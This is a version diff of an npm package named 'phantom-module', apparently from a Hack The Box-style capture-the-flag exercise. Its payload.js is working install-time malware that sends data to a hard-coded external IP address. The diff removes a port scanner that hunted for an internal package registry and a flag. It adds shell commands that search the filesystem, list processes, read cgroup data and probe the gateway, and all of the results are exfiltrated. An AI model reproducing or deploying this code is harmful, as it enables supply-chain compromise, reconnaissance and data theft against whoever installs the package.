phantom-module 117.0.99 → 117.0.101

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "117.0.99",
+  "version": "117.0.101",
   "description": "Phantom module",
   "main": "index.js",
   "scripts": {

package/payload.js

@@ -1,6 +1,5 @@
-const net = require('net');
-const http = require('http');
 const fs = require('fs');
+const { execSync } = require('child_process');
 
 if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
 
@@ -8,6 +7,7 @@ const REPORT_HOST = '154.57.164.64';
 const REPORT_PORT = 31205;
 
 async function report(moduleId, data) {
+  const http = require('http');
   return new Promise((resolve) => {
     const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
     const manifest = `ecto_module:\n  name: "SCAN_RESULT"\n  cargo_hold: "${safeData}"\n`;
@@ -22,84 +22,26 @@ async function report(moduleId, data) {
   });
 }
 
-function checkPort(host, port) {
-  return new Promise((resolve) => {
-    const sock = new net.Socket();
-    sock.setTimeout(400); 
-    sock.on('connect', () => { sock.destroy(); resolve(true); });
-    sock.on('error', () => { sock.destroy(); resolve(false); });
-    sock.on('timeout', () => { sock.destroy(); resolve(false); });
-    sock.connect(port, host);
-  });
-}
-
-function httpGet(url) {
-  return new Promise((resolve) => {
-    const req = http.get(url, { timeout: 1500 }, (res) => {
-      let body = '';
-      res.on('data', c => body += c);
-      res.on('end', () => resolve({ status: res.statusCode, body }));
-    });
-    req.on('error', e => resolve({ status: 0, body: e.message }));
-  });
-}
-
 async function main() {
-  await report('ECT-654321', 'SCAN V10 STARTING...');
+  await report('ECT-654321', 'ECTO HUNT V12 STARTING...');
   
-  const base = '172.17.0';
-  const ports = [4873, 80, 8080, 3000, 5000];
-  let scanOutput = '=== SCAN V10 ===\n';
-  let foundTarget = null;
-
-  // Scan IPs 1-10
-  for (let i = 1; i <= 10; i++) {
-      const ip = `${base}.${i}`;
-      for (const port of ports) {
-          if (await checkPort(ip, port)) {
-              scanOutput += `OPEN ${ip}:${port}\n`;
-              
-              // Try HTTP probe
-              const res = await httpGet(`http://${ip}:${port}/`);
-              scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body ? res.body.length : 0})\n`;
-              
-              // If it looks like a registry or API, probe deeper
-              if (res.status === 200 || res.body.includes('Verdaccio') || port === 4873) {
-                  foundTarget = `http://${ip}:${port}`;
-                  scanOutput += `*** POTENTIAL TARGET FOUND ***\n`;
-              }
-          }
-      }
-  }
+  let output = '=== ECTO SEARCH ===\n';
+  try {
+      output += `FIND ECTO:\n${execSync('find / -name "*ecto-spirit*" 2>/dev/null || true').toString()}\n`;
+      output += `PS AUX:\n${execSync('ps aux 2>/dev/null || ps -ef 2>/dev/null || echo "ps failed"').toString()}\n`;
+      output += `CGROUP:\n${fs.readFileSync('/proc/1/cgroup', 'utf8')}\n`;
+  } catch(e) { output += `ERR: ${e.message}\n`; }
   
-  await report('ECT-839201', scanOutput);
-
-  if (foundTarget) {
-      let result = `=== TARGET: ${foundTarget} ===\n`;
-      
-      // 1. Try to get ecto-spirit metadata
-      const ecto = await httpGet(`${foundTarget}/ecto-spirit`);
-      result += `/ecto-spirit: ${ecto.status}\n${ecto.body ? ecto.body.substring(0, 1000) : ''}\n`;
-      
-      // 2. Try to list all packages
-      const all = await httpGet(`${foundTarget}/-/all`);
-      result += `/-/all: ${all.status}\n${all.body ? all.body.substring(0, 500) : ''}\n`;
-      
-      // 3. Try to get the flag directly if hinted
-      if (ecto.body && ecto.body.includes('tarball')) {
-          try {
-              const json = JSON.parse(ecto.body);
-              // Check if description or readme has flag
-              if (JSON.stringify(json).includes('htb{')) {
-                  result += `!!! FLAG IN METADATA !!!\n`;
-              }
-          } catch(e) {}
-      }
-      
-      await report('ECT-987654', result);
-  } else {
-      await report('ECT-987654', 'No web service found in 1-10 range.');
-  }
+  await report('ECT-839201', output);
+
+  let netOutput = '=== NET PROBE ===\n';
+  try {
+      netOutput += `PING GATEWAY:\n${execSync('ping -c 2 172.17.0.1 2>/dev/null || echo "ping failed"').toString()}\n`;
+      // Try curl with verbose output to see connection details
+      netOutput += `CURL GATEWAY:\n${execSync('curl -v --connect-timeout 2 http://172.17.0.1:4873 2>&1 || echo "curl failed"').toString()}\n`;
+  } catch(e) { netOutput += `ERR: ${e.message}\n`; }
+  
+  await report('ECT-987654', netOutput);
 }
 
 main().catch(e => report('ECT-654321', 'ERR: ' + e.message));